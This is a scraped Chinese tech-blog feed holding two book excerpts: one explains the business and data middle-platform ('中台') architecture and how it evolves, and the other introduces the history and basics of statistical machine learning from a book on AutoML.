          库存中心提供仓库、库存、货品、单据(入库单/出库单/

        盘点单/盘点盈亏单)、审核(调拨/盘点)、包裹、货品运费、物流运输、接入第三方物流公司的服务能力。其主要能力包括:

        • 仓库管理:包括服务区、仓库、仓位及其关联管理等相关能力。
        • 货品管理:包括货品进货入库、销售出库、调拨入库、调拨出库、调拨审核等相关能力。
        • 货品盘点:包括盘点单生成、审核、查询等相关能力。
        • 履约管理:包括库存检查、发货单创建及查询、包裹物流查询、运费管理、物流状态跟踪等相关能力。
          建设一套中台系统,可同时运用在多个电商平台的开发设计和服务中。因此,中台可以为同时建设、运营多套电商平台的互联网企业节省系统建设和运营成本。因为中台既可以避免功能重复建设,又可以通过全渠道打通会员系统来增加流量、互相促进,还可以减少运营成本和人员。有了中台,再发展电商相关应用就会变得更加容易,比如,阿里巴巴发展出的聚划算。

        如果使用传统的系统思维来设计业务中台,很有可能只是将原先隔离的各业务系统通过微服务的方式,强行集成在一起,如图3-4所示。这种方式构建的微服务不是纯粹基于领域进行建设,而是从一个系统的粒度层次进行建设。比如PMS会涉及用户和订单,OMS也需要关注会员和订单,CRM同样涉及会员。因此,按此方式建设的所谓中台,它的各组成部分还是互相交叉重叠的,并不能体现中台是能力共享平台的核心理念。所以,只对企业业务系统做一个大一统的集成,并不是中台。
        image.png
        image.png

        图3-4 传统思维下所建设的“业务中台”

        3.3.3 数据中台定义及建设内容

        数据中台是什么?
        数据中台与数据仓库有什么区别?
        数据中台到底怎么与业务中台融合?
        这三个问题一直以来是人们问得最多的问题。本节将试着对这三大问题进行一一解读。
        在回答数据中台是什么这个问题之前,先了解一下大家比较熟悉的数据仓库。在以BAT为首的互联网公司蓬勃发展起来之前,国内三大电信运营商对于数据仓库的建设走在其他行业的前面。早在2011年的时候,中国移动集团公司就组织编写了指导各省公司建设数据仓库的纲领性文件《中国移动NG2-BASS3.0建设规范》。在文件中明确将中国移动的业务分成了7大业务板块,按照功能将数据资产划分为三层:数据层、功能层、应用层。这是很典型的数据仓库建设的分层模式,如今的数据中台数据分层建设模式也延续了数据仓库的分层建设规范,后面会详细讲到。
        图3-5所示是某电信运营商数据仓库的应用层规划内容,详细规划了每个应用领域的数据应用。但是仔细研究可以发现,这些数据应用几乎全是“分析”,也就是解决了事后“看数据”的问题。
        再来看看图3-6所示的阿里巴巴的数据中台支撑的数据应用层,除了通用的数据分析以外,还包含“个性化推荐”“风险评估”“预警监控”等与业务紧密结合的数据赋能业务的应用。而这些丰富的赋能业务的数据应用必须依赖数据中台提供的强大的数据服务来支撑。
        image.png

        图3-5 某电信运营商数据仓库分层模型

        image.png

        图3-6 阿里巴巴数据中台总体架构图

        通过上面的对比不难看出,数据中台与数据仓库最大的区别就是数据中台更加贴近业务,不只提供分析功能,更重要的是为业务提供服务,与业务中台或者业务系统(老旧系统)连接更加紧密了。就拿大家比较熟悉的“千人千面”案例来说,除了要整合业务系统产生的用户基础属性、订单、评价、加入购物车等行为数据,还要通过埋点的方式实时获取用户偏好浏览、搜索、分享商品等行为数据,经过数据中台对一系列的数据进行加工处理(见图3-7),最终以微服务的形式提供支持。在业务系统中,每个需要呈现商品给目标用户的数据服务,已不是简单地、一成不变地去商品库查询数据,而是调用数据中台提供的商品推荐接口,以此来根据不同的人群偏好、浏览历史、商品相似度等数据来为每个人推荐他最感兴趣的商品。试问这种业务、数据紧密联动的场景在数据仓库时代又如何能做到呢?
        image.png

        图3-7 数据中台与外部系统交互

        在介绍完数据中台与数据仓库的区别之后,我们再回过头谈谈数据中台到底是什么。首先说说数据中台不是什么。
        第一,数据中台不等于大数据。近些年来,“大数据”这个名词可能是被提及最多的词汇之一,大数据甚至成为国家战略。同时,“数据中台”也正是在大数据概念兴起之后应运而生的。因此,相当一部分人把数据中台和大数据划等号,一提到数据中台,就想起Hadoop、Spark等大数据处理技术,这样的想法是不对的,这些大数据处理技术只是数据中台的基础设施提供者。大数据技术大行其道,加速了数据中台战略成熟。
        第二,数据中台也不是一个研发工具。最近一段时间,在市面上流行着一种说法,说某某公司有一个数据中台产品,可以直接卖给某某客户。这种说法是在忽悠客户。实际提供给客户的仅仅是一个可视化的研发工具而已。数据中台一定是整合了企业自身数据并经过加工、治理后形成企业自身的数据资产的平台。试问,根本还没了解客户到底有什么数据的情况下,如何能说自己有一个数据中台产品呢?
        那么如何定义数据中台呢?我们也曾尝试在网上找到一个标准答案,也曾找过首倡“数据中台”概念的阿里大咖们寻求标准答案。最近网络媒体上各种数据中台分享、峰会纷纷扰扰,各种解读真是乱花渐欲迷人眼,但都没有得到一个很精炼、标准的关于数据中台的定义。但越是没有标准,越是被人问得多,这就是为什么开篇提到的第一个问题就是“什么是数据中台”。
        经过这些年来对数据中台的一腔热血,我们也曾经为此翻阅大量资料,力求言简意赅,力求精准定义。我们认为:数据中台是一个用技术连接大数据计算存储能力,用业务连接数据应用场景能力的平台。
        “连接能力”是数据中台的精髓。作为一个处在中间层的能力平台,“连接”是其根本任务。在业务层面需要尽可能连接各种数据源作为其生产资料;同时,由于生产数据的场景越来越多,覆盖了线上、线下等多渠道,各数据生产资料之间也需要进行连接,才能形成全域的数据;数据在数据中台这个平台上按照标准的模型进行规范加工处理后需要服务于多种场景,同样需要我们提供标准的数据服务接口将数据与应用场景连接起来。因此,连接是数据中台的根本能力,也是数据中台的价值所在。

        3.3.4 业务中台和数据中台的关系

        无论是业务中台还是数据中台,都是在企业IT系统架构演进过程中形成的,并从企业自身IT系统规划、建设、运营、运维等多年的经验中提炼出来的共性能力。业务中台和数据中台作为两个轮子并肩构建了数字中台,支撑前台对会员提供从营销推广、转化交易到智能服务业务的闭环服务,促进企业业务的提升和发展,如图3-8所示。数字中台对内连接企业的后台系统,诸如ERP、人力资源、协同办公、财务管理等。
        业务中台抽象、包装和整合后台资源,转化为便于前台使用的可重用、可共享的核心能力,实现了后端业务资源到前台易用能力的转化,为前台应用提供了强大的“炮火支援”能力,且随叫随到。业务中台的共享服务中心提供了统一、标准的数据,减少了系统间的交互和团队间的协作成本。
        image.png

        图3-8 业务中台与数据中台双轮驱动的数字中台支撑前台业务

        数据中台接入业务中台、后台和其他第三方数据,完成海量数据的存储、清洗、计算、汇总等,构成企业的核心数据能力,为前台基于数据的定制化创新和业务中台基于数据反馈的持续演进提供了强大支撑。可以认为,数据中台为前台战场提供了强大的“雷达监测”能力,实时掌控战场情况,料敌先机。不过数据中台所提供的数据处理能力和在之上建设的数据分析产品,也不局限于服务业务中台。数据中台的能力可以开放给所有业务方使用。
        从前台应用的角度看,业务中台所提供的“炮火支援”能力和数据中台所提供的“雷达监测”能力是一体的,并不是相互独立的。业务中台与数据中台相辅相成,互相支撑。对于业务方来说,自己产生数据,并同时消费自己的数据,在消费自己的数据时又在继续产生数据,从而形成数据闭环。打个比方,业务沉淀数据是产矿,将数据导入数据中台是探矿和挖矿,数据中台对数据进行建模等加工处理是对矿物的加工提纯,通过数据服务指导业务的开展是矿产再生的过程。业务中台和数据中台只是技术实现方式不同,它们一起组成了支撑业务创新的两个“轮子”,缺一不可。

        3.4 中台的发展与进化

        中台的存在价值是为它的客户服务,比如业务中台和数据中台要快速响应前台应用的需求。但如果中台同时服务于多个前台应用,在资源有限的情况下,必然涉及对来自不同应用的需求的优先级排序和取舍。如果前台应用急需某一能力,但中台又不能及时提供,是否允许前台先实现,等中台有时间再来沉淀?由此可以看出,大中台立足于横向的、全局的长远考虑,而小前台则注重于解决纵向的业务应用的当前问题。大中台的发展必然涉及权衡,但如何做取舍没有标准答案,需要结合实际情况进行。

        3.4.1 中台的演变

        中台的催生基石是能力共享。如果中台所提供的能力无法被共享,那就不是中台能力。如果中台只服务于一个前端应用,那就不是中台。那么哪些能力比较通用且是多个前台系统的共性需求?要回答这个问题,可从系统的组成开始分析,如图3-9所示。一个应用系统首先是为用户服务的,因此最先离不开的是系统的角色和用户。因此,建设中台的一个起步点就是先将角色和用户这些资源管理起来,形成用户共享中心。统一用户、统一权限、统一登录,可以看作是中台的雏形,但如果仅仅停留在此阶段,就退化成了单点登录。在此基础上,再发展与人相关的会员系统,比如会员的积分、积分的变动、会员的等级等就形成了会员中心。再者,用户是通过商品、订单与系统进行交互的,因此,商品的管理、订单的集中处理也是可以一起共享的。这些资源的统一集中管理后,相关的用户、会员、积分、订单等数据被存储在一起,方便全局管控。进行集中管理的资源越多,建设中台所取得的成果就会越大,就越能体现中台对前台应用的支撑作用。
        image.png

        图3-9 中台建设的三个步骤

        在资源集中管理的基础上,更重要的是抽象出系统能力。抽象是指在考虑目标事物时,去除表象的、次要的方面,而抽取相同的、主要的方面,从而做到从个别中把握一般规律。通俗一些的说法就是将目标事物模型化。只有通过抽象,设计出来的能力才能应用到类似的需求中。
        中台是为前台业务服务的,因此当前台业务有所更改时,中台要随需而变。这就要求中台具有很好的灵活性来支撑业务的开拓和发展:
        1)数据模型需要根据前台业务要求实现可扩展性。
        2)业务流程可根据场景和需求重新定义和编排,并可通过插件机制进行定制。
        3)中台环境需要支持多环境可部署。比如不同的基础设施环境,包括公有云、私有云及容器云等;再比如不同的微服务框架,如阿里云的EDAS、开源的SpringCloud、Dubbo等。
        中台的建设不是从零起步,但是中台是为业务服务的,是需要根据企业业务演进逐渐积累而成的。因此中台的建设不是一蹴而就的。

        3.4.2 中台生态的形成

        中台是企业级共享能力平台,因此除了最开始提出的业务中台和数据中台,还会逐步发展出技术中台、研发中台、移动中台、AI中台、算法中台、组织中台等其他中台。
        技术中台整合和包装了云基础设施,以及在其上建设的各种技术中间件,比如微服务、分布式缓存、消息队列、搜索引擎、分布式数据库等,并在此基础上建设和封装了简单易用的能力接口,如图3-10所示。技术中台的建设标准是参考在一个只提供虚拟机或容器的私有云上,建设一个业务中台或数据中台所需但私有云没有提供的技术相关组件。技术中台作为工具和组件,为建设前台应用和业务中台提供了基础设施重用的能力,大大缩短了它们的建设周期。如果数字中台(即业务中台+
        数据中台)是强大的中台炮火群,则技术中台提供的是如何根据需要快速搭建中台炮火阵地(即创建和部署不同环境下的中台)。
        如何让阵地建设得更加可靠、简捷易用(通过技术中台提供资源的动态扩展能力等)?隔离数字中台对基础设施的依赖。比如业务中台的每个业务服务中心都需要关系型数据库。关系型数据库要提供一主一备和自动切换功能,以及读写分离和只读库创建的能力。为了快速访问大数据量的表,一般需要使用分布式数据库对其进行分库分表操作。分布式缓存是提高访问效率的一个必不可少的组件。通过消息队列实现异步解耦和大流量削峰填谷,这大大增强了前台应用应对大用户并发的能力。使用CDN加速的对象存储,可极大提高前端访问的性能。数字中台是在技术中台的基础上开发、运行的,但又不能与技术中台绑定。因为数字中台关心的是如何满足业务要求,而技术中台提供基础设施底层的能力,两者相互促进但又相互隔离。
        image.png

        图3-10 技术中台

        研发中台是关注应用开发效率的管理平台,如图3-11所示。软件开发和系统建设是一项工程,涉及项目管理、团队协作、流程、测试、部署、运营、监控等方面。如何将在企业应用开发过程中的最佳实践沉淀为可重用的能力,从而更好地快速迭代开发创新型的应用,也是很多企业目前的一个关注点。这个关注点也是企业能力的体现,即研发中台。研发中台为应用开发提供了流程和持续交付的能力,包括敏捷开发管理、开发流水线、部署流水线、持续交付。敏捷管理一般由问题、迭代、实施等组成,并管理研发人员的日常工作和任务。开发流水线则涉及源代码的版本管理、分支的创建、合并和提交,半成品的构建、存储和使用以及产成品的构建。将产成品部署到指定环境并上线运行是部署流水线的职责。线上的应用需要监控,包括基础设施监控、应用监控、日志洞察、浏览器监控、链路分析和追踪等功能。研发中台为应用的开发提供了流程、质量管控和持续交付的能力。
        image.png

        图3-11 研发中台

        消费者接触得最多的企业前台触点在移动端。如何保障移动端的迭代效率和稳定性也是企业需要着重考虑的。一个电商业务一开始可能只是一个工具型的App,完成对商品全生命周期的闭环支持。随着在业务中台基础上发展出相似业务,需要平台级的移动端开发支持。继续深化发展可能还需要支持多业态。因此为快速开发移动App、H5和小程序以支撑前台业务发展所进行的最佳实践就逐渐沉淀为移动中台,如图3-12所示。
        1)移动App与其他前端技术比较,有其特殊性。比如移动App作为一个C/S架构,其发版模式需要通用应用市场的审核,而其客户端的更新是使用者控制的,提供远程配置、动态更新有助于控制App端。
        2)移动业务是在线业务,对网络存在强依赖,而移动链路本身的稳定性和连通率等相比有线网络有一定的不足,因此消息推送的实现需要考虑网络因素。
        3)因移动端质量相关问题,需要提供热修复等功能。
        4)对移动App本身的安全扫描和加固也是一个需要着重考虑的因素。由于前端有不同的实现技术,如果完全使用不同的开发方式,对于企业来说是重复投入,且资源和技术不能共享。因此,使用Hybrid混合开发的方式,既可以支持移动App,又可以支持H5,甚至小程序,这也是移动中台需要研究的一部分。因此,尽可能将前端组件化,比如UI组件和图表组件,在此之上组装成业务组件,能大大提高移动端开发效率和质量。
        image.png

        图3-12 移动中台

        前面所提的业务中台、数据中台等都是从技术系统层面展开的中台演变。企业在进行中台建设时,容易着手的也是对技术体系的改进。但要发挥中台的能力,让中台战略实际落地到企业,并为企业的业务目标服务,需要有与中台技术架构相匹配的组织架构。从Supercell 的“部落”,比如阿里巴巴的共享业务事业部、数据平台事业部,京东的前、中、后台,大家都可以看到建设中台需要两手抓,两条路线相匹配,齐头并进。如果将业务中台、数据中台等称为“战斗部队”,那么为企业提供的项目投资管理、风险管理、资源调度等的组织中台则是“战场指挥部”,指挥前线,调度后方。
        “大中台,小前台”这种组织形式,并不是什么新鲜事物,实际上它是一种理想化的支撑模式。前台业务足够灵活,配套支撑足够快捷,资源还能够高效复用。不过要让中台模式在企业中发挥作用,对企业本身也是有一定要求的,比如企业有一定规模,业务比较丰富,值得去提炼共性元素形成共享能力。如果同时开展多种相类似的业务,那么从业务A提炼出来的能力可能提供给业务B使用;或者虽然业务单一,但同一业务在不同地域有不同的模式,也能沉淀出很多共享能力。
        数据中台提供了数据分析报表来响应运营,并在此基础上提供数据能力直接服务于业务。那能不能更进一步,提供诸如个性化服务等与智能相关的能力?答案是肯定的,通过AI中台就可实现。AI中台借助数据中台的能力,尝试解决模型的训练、发布,智能服务的构建自动化,统一的元数据管理体系,模型的全生命周期管理等问题,通过AI能力平台化,降低对人员能力的要求。与数据中台利用CPU级别的资源不同,AI中台需要扩展对GPU资源管理和整合能力,为算法模型的开发者、训练者、标注管理者、数据管理者等构建智能服务的人员服务,并最终为业务人员提供智能化的服务。

        3.4.3 中台与前台的博弈

        中台通过提供基础服务和解决方案为前台业务应用提供服务。中台的职责是不断提升整体平台的服务能力基线。根据中台对前台业务的支持与参与度不同(见图3-13),会产生不同的中台建设路径。
        image.png

        图3-13 中台对业务的参与度

        一个极端理解是中台是工具,即将中台作为工具平台来建设。由于工具的通用能力强,抽象层度高,所以工具可适应各行各业的企业。如此,中台的研发人员可只专注技术相关的问题,而无须关注和了解企业本身的业务。但是正由于工具无法深入业务场景,也不内含业务能力,导致中台不能沉淀业务,从而使中台开发人员与业务方沟通不顺畅,中台方无法直接为业务赋能。为了解这个问题,需要一个长期的业务理解和系统建设过程。
        另一极端是中台完全为业务服务。中台方能快速理解业务需求,参与业务方的数据模型讨论、流程设计等,并将其变成系统实现。中台研发人员参与业务建设,符合中台为业务服务的目的,而且中台的能力也是通过业务沉淀下来的。但是过分关注业务,过分与业务团队耦合,会受限于时间和团队的能力,不仅中台可能会没有考虑通用的业务能力,也会导致无法更专注于对中台技术的深入研究。中台如果不从抽象度、适配性等角度出发,投入建设机制性的工作,很有可能局限于某单一业务,导致中台无法很好地适应其他相关业务的要求,从而不能很好地应对业务的变化。
        目前很多宣传中描述的数据中台走到了图3-13所示的最左侧:把数据建设的工具称为数据中台,或把数据治理、数据建模等工具宣称为数据中台(其实只是片面地在理解数据中台)。中台最主要的能力是提供业务方可重复使用的并与业务相关的能力。数据工具的能力太泛化,会导致与业务方的距离太远,从而不能很好地为业务方赋能。
        从历史发展来看,一开始企业建设了一个前台应用A(如
        图3-14所示)。随着业务的发展,扩展到类似的业务,由于业务快速发展的需要,很有可能重新开发另一个前台应用B。但随着应用B的建设,发现应用A和应用B的很多功能和能力是重复或相似的,因此考虑是不是可以通过建设公共的部分,避免重复投入和建设。由不同前台应用抽取出来的公共部分即为中台。但是中台建设是一个新的命题,需要更强有力的团队,需要不断探索。如果中台研发团队的研发能力和时间进度无法跟上前台业务的需求变化,那么中台就只能满足部分前台业务的需求。再者,如果中台的抽象程度低、扩展性差,则会导致中台无法满足前台业务需求。这时前台应用又因为业务本身的发展目标和压力不得不自行组织团队完成这部分功能,由此可能发生本应由中台提供的能力却最终实现在业务应用中。中台越做越小,前台应用越做越大。这样一来,进一步压缩了中台的生存空间。
        image.png

        图3-14 中台与前台应用的关系

        因此,中台既需要满足业务的需求,但又不能过度参与业务。中台能力的建设首先要保证投入到中台的资源不能成为业务建设的瓶颈。中台提供的能力要具有灵活性和可定制性,便于业务方根据规范自主完成,减少沟通成本,提升效率。
        “大中台,小前台”,并不意味着前台不重要。相反,建设大中台就是为了更好地服务于小前台。大中台要想发挥作用,体现出自己的价值,必须通过小前台的引导。因此,判断中台建设是否成功的指标应包括:前台有没有使用中台,前台从使用中台中获得了哪些好处,中台好不好用,愿不愿意继续使用中台。
        3.4.4 中台的进化策略
        虽然中台概念的提出到现在仅几年时间,但中台已经在这几年中走出了自己的路径。根据中台的进化和演变的历史及可能的方向,目前可以看到共有广度和深度两种途径,如图3-15所示。
        image.png

        图3-15 中台的广度和深度两种进化策略

        广度是指中台所涉及的内容会越来越多,即可以认为各种中台的不断出现,也可以认为是一个中台内部的共享服务中心会不断横向扩展,从一开始所提的业务中台、数据中台,逐步演化到AI中台、技术中台、研发中台等。另一方面,一个中台范围内的共享能力也在扩展,从用户中心、交易中心、营销中心等扩展到内容中心、工单中心、成长中心等。中台团队如发现某一前台业务模式很好,则将其沉淀为共享服务,从而提供更多的业务,这也是在建设和加强中台。由于中台作为中枢点同时支撑多个前台业务,因此中台成为打通前台业务的最好着力点,让不同的前台业务可以互相借力和引流,互相促进发展。
        中台所沉淀的共享服务能力并不要求支撑所有前台业务,只要有多于一个前台业务需要某一种能力,此能力即可沉淀为中台能力,因此我们不能大而全地建设中台。如果企业认为现在企业各系统的用户管理能力需要统一,那就可以着手进行用户中心的建设。在此基础上,如果企业发现会员需要统一管理,订单需要全局视图,那么就构建会员中心和订单中心。因此,中台的建设是可以分阶段逐步实施的,无须将所有重构全部一起推动,而后者既会增加复杂性,又会提高风险,还不能及时得到反馈。
        中台的成长离不开前台业务的创新。只有不断进行业务迭代和更新试错,对中台提出新的挑战和沉淀,才会让中台做得更好。另一方面,中台团队也需要有自己的产品化、平台化建设思考,并作为新业务的孵化器。
        中台还需要建设成为开放的体系。开放不仅仅是对企业内部开放,也要对企业外部开放。通过中台建设,企业可以将自有的系统变为开放式平台,从而为其他企业充分提供第三方的数据和服务。再者,中台本身通过开放也可以充分利用其他第三方数据和服务。开放可以接口的方式,通过开放API,开创新的商业机会和应用模式。
        中台的开放也意味着中台需要支持个性化需求。通过抽象能沉淀共性的流程、数据模型等。但不同业务总有不同点,这些不同的需求就需要个性化的支撑。中台和前台一般是由不同团队负责的。因此为了提高效率,中台必须留出足够灵活的扩展点,以便不同前台业务根据其需求进行定制化扩展。
        中台作为平台,必然需要考虑拆分整体应用形成业务组件,通过业务抽象建模,解决共性的问题,从而更好地为业务服务。对业务问题的抽象程度越高,中台对业务的适配度就越高,需要对具体业务参与度就越低,从而更能发挥中台及中台团队的价值。因为越好的抽象越能发挥业务应用开发的创造性。在考虑拆分的同时,必须设计整体框架和组装策略,即组件间的协作机制。通过协作机制,才能让各业务组件协同实现业务场景以达到业务目标。
        中台作为一个平台,其本身的运营也需要数据支撑。比如需要统计和观察中台以API形式提供的共享能力,从而了解中台哪些能力被业务引用及引用的频率,所使用的参数模式等;哪些设计的接口能力没有用处等。有了实际的数据,可更好地迭代中台。
        中台建设是一个综合性的系统工程,因此需要有效的方法论的指导。中台建设方法论会在后续章节专门讨论。

        ]]>
        带你读《深入理解AutoML和AutoDL:构建自动化机器 学习与深度学习平台》之三:机器学习概述 Fri, 02 May 2025 09:39:04 +0800 点击查看第一章
        点击查看第二章
        第3章

        机器学习概述

        机器学习(Machine Learning,ML)是实现人工智能的一种方法,它来源于早期的人工智能领域,是人工智能研究发展到一定阶段的必然产物。机器学习可以分为以支持向量机为代表的统计学习和以人工神经网络为代表的深度学习。统计学习模型参数往往是可解释的,而人工神经网络则是一个“黑箱”。
        本章我们首先主要介绍统计机器学习,包括机器学习的发展和基本实现方法,然后引出自动化机器学习。

        3.1 机器学习的发展

        3.1.1 “机器学习”名字的由来

        人工智能在1956年由约翰·麦卡锡(John McCarthy)首次定义,其含义是可以执行人类智能特征任务的机器。包括语言理解、物体识别、声音识别、学习和智能地解决人类问题等方面。人工智能可以从广义和狭义两个方面理解:广义是指人工智能是可以实现同等人类能力的计算机;狭义是指其可以做人类要求的特定任务,并且能够做得非常好,比如一台用来识别图像的机器就仅限于能够很好地识别图像,而不能做其他事情。
        机器学习是人工智能的核心任务,阿瑟·塞缪尔(Arthur Samuel)将机器学习定义为“没有明确编程就能学习的能力”。虽然在不使用机器学习的情况下,就可以实现人工智能,但是这需要通过定义复杂的规则和决策树等方式来构建数百万行代码。因此,就出现了现在的机器学习算法,不需要通过手动编码和定义特定的指令来完成特定的任务,只需要以一种“训练”算法的方式让机器自己学习,并根据输入的数据进行自我调整和改进。
        那么“机器学习”的名字是怎么来的呢?
        1952年,阿瑟·塞缪尔在IBM公司研制了一个西洋跳棋程序,塞缪尔自己并不是下西洋棋的高手,因此这个计算机程序的下棋能力很差,但是它具有自学习能力,可以通过自己对大量棋局的分析,逐渐学会如何分辨当前局面出的是“好棋”还是“坏棋”,从中不断积累经验和吸取教训,进而不断提高棋艺,最后竟然超过了塞缪尔本人。塞缪尔认为,在不使用具体的代码,只使用一定数量的训练数据和泛型编程的前提下,机器就可以从训练数据中学到赢棋的经验,这就是机器学习最初的定义。1961年,“知识工程之父”爱德华·费根鲍姆(Edward Feigenbaum,1994年图灵奖得主)为了编写其巨著《Computers and Thought》,邀请塞缪尔提供该程序最好的一个对弈实例。借此机会,塞缪尔向当时的康涅狄格州的跳棋冠军,也是全美排名第四的棋手发起挑战,最终塞缪尔的程序获得了胜利,轰动一时。
        塞缪尔的这个跳棋程序不仅在人工智能领域成为经典,它还推动了整个计算机科学的发展进程。计算机刚出现的时候,只是被用来做大型计算的机器,不可能完成没有事先编好程序的任务,而塞缪尔的跳棋程序,打破了这种思想的禁锢,创造了不可能,从那以后,引领了新的计算机潮流,成为后人发展计算机的新方向。

        3.1.2 “机器学习”的前世今生

        20世纪50年代到70年代初期,人工智能在此期间的研究被称为“推理期”,简单来说,人们认为只要赋予机器逻辑推理能力,机器就能具有智能。这一阶段的代表性工作有A. Newell和H. Simonde的“逻辑理论家”(Logic Theorist)程序,以及后来的“通用问题求解”(General Problem Solving)程序等,这些工作在当时获得了令人振奋的结果。“逻辑理论家”程序分别在1952年和1963年证明了著名数学家罗素和怀特海的名著《数学原理》中的38条定理和全部的52条定理。因此,A. Newell和H. Simonde成为1975年图灵奖的获得者。随着研究的深入发展,机器仅仅具有逻辑推理能力是远远不够的,为了实现人工智能,机器必须要具有智能,也就是说,必须要想办法让机器拥有知识。
        从20世纪70年代中期开始,人工智能的研究就进入了“知识期”。1965年,Edward Feigenbaum主持研制了世界上第一个专家系统“DENDRAL”,自此开始,一大批专家系统成为主流,它们也在很多应用领域取得了成功。因此,在1994年Edward Feigenbaum获得了图灵奖。但是,专家系统随着科学技术的进步,面临了“知识工程瓶颈”,最大的困境就是,由人把知识总结出来再教给计算机是相当困难的。那么,让机器自己学习知识,会不会成为可能呢?
        答案是肯定的,有太多的事实已经证明机器是可以自己学习知识的,其中最早的是上文提到的塞缪尔的跳棋程序。到20世纪50年代中后期,出现了基于神经网络的“联结主义”(Connectionism)学习,代表作是F. Rosenblatt的感知机(Perceptron)、B. Widrow的Adaline等。在20世纪六七十年代,多种学习技术得到了初步发展,基于逻辑表示的“符号主义”(Symbolism)学习逐渐发展,例如以决策理论为基础的统计学习技术以及强化学习技术等。二十多年后,“统计机器学习”(Statistical Learning)迅速崛起,代表性的技术有支持向量机(Support Vector Machine,SVM)等。
        在过去的二十多年中,人类在收集数据、存储、传输、处理数据上的需求和能力得到了很大的提升。随着大数据时代的到来,人类社会无时无刻不在产生着数据,那么如何有效地对数据进行分析和利用,成为迫切需要解决的问题,而机器学习恰巧成为有效的解决方案。目前,在人类生活的各个领域,都可以看到机器学习的身影。无论是在复杂的人工智能领域,如自然语言处理、专家系统、模式识别、计算机视觉、智能机器人,还是在多媒体、网络通信、图形学、软件工程、医学领域,甚至是更常见的购物系统等,机器学习已然成为我们不可获取的一部分。
        有关机器学习的介绍已经非常多了,在这里就不再赘述,我们接下来的讲述重点将放在机器学习的实现方法,还有为了解决现有机器学习的问题,而产生的自动化机器学习到底是什么吧。

        3.1.3 “机器学习”的理论基础

        在机器学习发展的过程中,逐渐分划成两条路线,这同时也影响了后来的自动化机器学习。一条路线是以Barlow为主导的单细胞学说,这个理论是说,一开始是从零基础开始的,一个单细胞逐渐发展生长出多个细胞,这也意味着神经细胞的结构可能会很复杂。而另一条路线是Hebb主张的,由多个相互关联的神经细胞集合体作为开始,称其为ensemble,并不断通过改变细胞个数和细胞间的连接来发展神经细胞的结构。虽然这两种假设都有生物学证据的支持,但是至今没有生物学的定论,这也为计算机科学家们提供了想象的空间,也造就了后来机器学习发展过程的不同研究路线,并且这两种假设都对机器学习研究有相当重要的引导作用。
        基于这两种假设,机器学习的发展历程被分为了两类,一类是以感知机、BP和SVM等为主导的,另一类是以样条理论、K-近邻、符号机器学习、集群机器学习和流形机器学习等代表的。
        本书中的重点—统计机器学习是近几年被广泛应用的机器学习方法。从广义上说,这是一类方法学。当我们从问题世界观测到一些数据,如果没有能力或者没有必要建立严格的物理模型时,可以使用数学方法从这些数据中推理出数学模型。注意,这里的数学模型一般是没有详细的物理解释的,不过会在输入输出的关系中反映实际问题,这就是我们开始提到的“黑箱”原理。一般来说,“黑箱”原理是基于统计方法的,统计机器学习的本质就是“黑箱”原理的延续。因此,统计机器学习主要关注的是数学方法的研究,而神经科学则被列为深度学习领域。
        统计机器学习的基本要求是,假设同类数据具有一定的统计规律性。目标则是,从假设的空间中,也就是常说的模型空间,从输入空间到输出空间的映射空间中寻找一个最优的模型。综上,可以总结统计机器学习方法的主要研究问题,可分为如下3个:
        1)模型假设:模型假设要解决的问题是如何将数据从输入空间转化到输出空间,通常用后验概率或是映射函数来解决。
        2)模型选择:在模型的假设空间中,存在无穷多个满足假设的可选择模型,模型选择要解决的问题就是如何从模型假设空间中选择一个最优模型。通常采用损失函数来指定模型选择策略,将模型选择转化为一个最优化问题来求解。为了降低模型的复杂性,提高模型的泛化能力,避免过拟合的发生,通常会加上正则化项。
        3)学习算法:既然已经将模型选择转化为一个最优化问题了,那么最优化问题该如何实现,这就是学习算法要解决的了。比如在给定损失函数后,并且在损失函数的约定条件下,怎样快速地找到最优解,常用的学习算法包括梯度下降等。
        统计机器学习的这3个问题都是机器学习发展过程中的研究热点。对于模型假设来说,如果模型选择错误,那么无论如何都难以描述出数据集的正确分布特性。从而,在模型空间假设上,衍生出了很多方法,包括交叉验证等。模型选择的关键问题在于损失函数的设计,损失函数通常包括损失项和正则化项,不同的选择策略会造成不同的模型选择,而模型选择的不同,则会导致预测效果的巨大差异。对于学习算法来说,不同的学习算法,其学习的效率会有很大的差异,而且学习出来的效果也不一样。
        统计机器学习是基于对数据的初步认识以及学习目的的分析(特征工程),选择合适的数学模型,拟定超参数,并输入样本数据,依据一定的策略,运用合适的学习算法对模型进行训练,最后运用训练好的模型对数据进行分析预测。具体流程如图3-1所示。
        image.png

        图3-1 统计机器学习的流程图

        根据图3-1中的流程和统计机器学习研究的3个主要问题,可以将统计机器学习总结为如下3个要素:
        1)模型(model):比如支持向量机、人工神经网络模型等。模型在未进行训练前,其可能的参数是多个甚至无穷的,故可能的模型也是多个甚至无穷的,这些模型构成的集合就是假设空间(hypothesis space)。
        2)策略(strategy):即从假设空间中挑选出参数最优的模型的准则。模型的分类或预测结果与实际情况的误差(损失函数)越小,模型就越好。
        3)算法(algorithm):即从假设空间中挑选模型的方法(等同于求解最佳的模型参数)。机器学习的参数求解通常都会转化为最优化问题,例如支持向量机实质上就是求解凸二次规划问题。

        3.2 机器学习的实现方法

        机器学习的核心是“使用算法解析数据,从中学习,然后对世界上的某件事情做出决定或预测”。这意味着,与其显式地编写程序来执行某些任务,不如教计算机如何开发一个算法来完成任务。机器学习主要可以分为3个类型:监督学习、非监督学习和强化学习。我们在这里仅介绍监督学习和非监督学习,强化学习的内容请参考第9章。
        监督学习要求数据必须被标记过,计算机可以通过使用特定的模式来识别被标记的样本。监督学习可以分为两种类型:分类和回归。分类,即机器被训练来完成对一组数据进行特定的分类。生活中最常见的一种分类问题是垃圾邮件的分类。机器首先分析以前被用户标记为垃圾邮件的类型、特征等,然后将新邮件与这些曾被标记为垃圾邮件的邮件进行对比,根据设定的匹配度来做决定。假设将匹配度的阈值设为90%,即表示匹配度大于或等于90%的邮件被分类为垃圾邮件,而匹配度小于90%的邮件被认为是正常邮件。回归,即机器根据先前(标记)的数据来预测未来。天气预测是最好的回归例子,根据气象事件的历史数据(平均气温、湿度和降水量)和当前天气的数据,对未来的天气进行预测。
